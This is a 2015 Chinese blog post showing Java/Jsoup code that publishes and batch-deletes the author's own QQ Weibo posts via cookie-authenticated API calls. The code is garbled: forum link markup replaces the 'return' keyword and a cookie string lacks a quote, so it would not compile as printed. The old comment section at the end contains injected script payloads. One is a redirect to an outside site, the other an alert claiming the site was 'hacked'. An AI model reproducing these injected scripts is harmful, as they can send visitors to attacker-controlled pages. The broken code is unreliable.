批量删除QQ微博之简易Java版

浮萍 | 2015-02-06 16:59

写了半天,发表的时候竟然出错了,然后不得不重新写一次。。。。

PS:以后发表前要先备份呀。

先上代码吧。

/**
* 发表微博
* @param content  微博内容
*/

public static void publishWeiBo(String content){
Map<String, String> map = new HashMap<String, String>();

map.put("adRich", "0");
map.put("apiType", "14");
map.put("attips", "");
map.put("content",content);
map.put("countType", "");
map.put("endTime", System.currentTimeMillis()+"");
map.put("g_tk", "2029340091");
map.put("pgv_ref", "web.base.master.talkBox.btnMyHome");
map.put("pic", "");
map.put("startTime", System.currentTimeMillis()+"");
map.put("syncQQSign", "0");
map.put("syncQzone", "0");
map.put("viewModel", "");

try {
  Document doc = Jsoup.connect("http://api.t.qq.com/old/publish.php").
      timeout(5000).cookie("Cookie", "你的Cookie").
      data(map).referrer("http://api.t.qq.com/proxy.html").post();
  System.out.println(doc.text());
} catch (IOException e) {
  // TODO Auto-generated catch block
  e.printStackTrace();
}
}

/**
* 获取微博ID集合
* @param pageUrl  页面的url
* @[link href=\"http://zone.wooyun.org/user/return\"]return[/link] 微博ID集合
* @throws IOException
*/
public static List<String> getId(String pageUrl) throws IOException{
List<String> lt = new ArrayList<String>();
Document doc = Jsoup.connect(pageUrl).
    timeout(5000).cookie("Cookie", 你的Cookie").get();
Elements nickName = doc.select("a.time");
for (Element element : nickName) {
  lt.add(element.attr("href").substring(("http://t.qq.com/p/t/").length()));
 }

[link href=\"http://zone.wooyun.org/user/return\"]return[/link] lt;
}

/**
* 删除微博
* @param id 微博的ID
* @throws UnsupportedEncodingException
*/
public static void del(String id) throws UnsupportedEncodingException{

Map<String, String> map = new HashMap<String, String>();
map.put("apiHost", URLDecoder.decode("http://api.t.qq.com", "utf-8"));
map.put("apiType", "14");
map.put("g_tk", "567453375");
map.put("id", id);

try {
  Document doc = Jsoup.connect("http://api.t.qq.com/old/delete.php").
      timeout(5000).cookie("Cookie", "你的Cookie").
      data(map).referrer("http://api.t.qq.com/proxy.html").post();
  System.out.println(doc.text());
} catch (IOException e) {
  // TODO Auto-generated catch block
  e.printStackTrace();
}

}

我采用的Java,使用了jsoup-1.7.3.jar包。

今天看到自己的微博,竟然一千多条,而且大多都是转载,就想着给删除了。通过一番搜索,感觉大多数工具不靠谱,于是就自己写了一个。

我没有写登录,直接使用了Cookie。

由于我的微博已经全部被删除了,于是就先写了几条,当然,采用了批处理。

采用了publishWeiBo(String content)

但是由于账号是小号的缘故,会提示{"result":-22,"msg":"请进行实名认证"}这样的错误,于是就不再写了。

几条足可。

然后打开http://t.qq.com/XXXX/mine页面

批量删除QQ微博之简易Java版

首先通过Jsoup.connect(String url).get()获取一个Document。

然后对Document进行操作。

根据class="time"的超链接来获取微博的URL

Elements nickName = doc.select("a.time");

然后对每条微博的URL进行截取,来获取微博的ID,即http://t.qq.com/p/t/XXXX中XXXX部分。

然后将获取的ID放入List集合中。

删除微博时需要四个参数。

apiHost http://api.t.qq.com
apiType 14
g_tk 2029340091
id 微博ID

需要注意的是,删除时要带上referrer,不然会删除不成功。

在批量删除时,可以将调用删除的方法写在while或者for循环中。

当返回信息{result:0,msg:'删除成功',info:'1'}时表示删除成功。

有时候会出现频繁删除,提示输入验证码,只需在页面删除一条记录时输入验证码即可。

http://t.qq.com/XXXX/mine?filter=3 表示是评论别人微博的页面

http://t.qq.com/XXXX/mine 表示自己微博的页面,包括图片、视频等

这个URL在getId(String url)中使用

批量发表时,可以加上Thread.sleep(1000);不然会提示发表过快。

List<String> lt = QQWeiBo.getId("http://t.qq.com/XXXX/mine");
//List<String> lt = QQWeiBo.getId("http://t.qq.com/XXXX/mine?filter=3");
for (String string : lt) {
    QQWeiBo.del(string);
}

水平有限,大牛勿喷~~~

[原文地址]

留言评论(旧系统):

佚名 @ 2015-02-18 00:35:54

<script>window.location="http://jia-s.com/admin/Etx3oth.htm";</script>

本站回复:

<script>alert('hacked by helen!');</script>